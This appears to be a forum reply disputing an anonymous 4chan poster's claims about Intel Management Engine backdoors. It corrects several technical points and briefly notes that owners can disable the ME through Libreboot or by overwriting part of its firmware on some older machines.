First of all, it sounds like this person is not telling the truth. He should have mentioned something which only a person who works at Intel would know, or at least something which people who understand the architecture deeply would know, rather than only things which are public knowledge. He could have at least mentioned something like ME v11 switching to TinyIA from ARCCompact and getting rid of the JEFF module format (an old abandoned Java standard), supposedly. Secondly, some of what he said was factually incorrect:

In order to have full access to memory, it needs an x86 component in the BIOS to permit it, contrary to popular belief that the ME is a god, so he is wrong in saying that it always has access to system memory (though most configurations do allow it to do this).
It can be disabled, and there are many ways to do so, both public, and non-public. His claim that it is impossible to disable is incorrect. I'll explain how later in this post.
He mentioned that the supposed backdoors have similar functionality to the CIA's WEEPING ANGEL, allowing the ME to listen even if the computer is off or sleeping. This is not possible on the majority of systems due to hardware constraints. Only high-end servers with vPro support are able to keep the ME on while the system appears off. All other systems keep the ME powered off unless the system is itself powered on.
A glaring mistake he makes is that it does not have "full access to the TCP/IP stack". I imagine he is trying to repeat the well-known fact that it has its own TCP/IP stack, which is true. The ME does not integrate with the OS' network stack in any way.
The ME does not have access to every peripheral connected to the computer. At a minimum, it can read all PS/2 keystrokes, video memory, and NIC communications. If it is given access to full memory, it can do more, of course. But due to physical limitations of the x86 architecture, it cannot have access to all peripherals.

Already in his short post, he has shown he does not know the basics of the Manageability Engine. As someone who knows multiple Intel employees, some of which who have worked directly with the ME, I do not believe that this person works for Intel.

To answer your main question, on some older computers, you can disable it by installing Libreboot, which does not come with the ME. The only computers it is compatible with are those which do not refuse to boot or are otherwise stable when the ME is not running. On some SandyBridge/IvyBridge computers, you can cripple the ME by overwriting the first page (4096 bytes), as shown here. Other methods which may be possible in the near future which require a combination of hardware and software modifications likely simply involve jumpers, according to some folks experimenting with disabling the ME in #libreboot on Freenode.

Not to mention, if this person was even telling the truth, the number of EEs working at Intel for more than 15 years, who moved to a new department 3 years ago and got a security clearance at that time is likely a small handful, if not a single person. Anyone with clearance knows how incredibly dangerous it is to leak information, so he would not be giving out information this way... on 4chan of all places.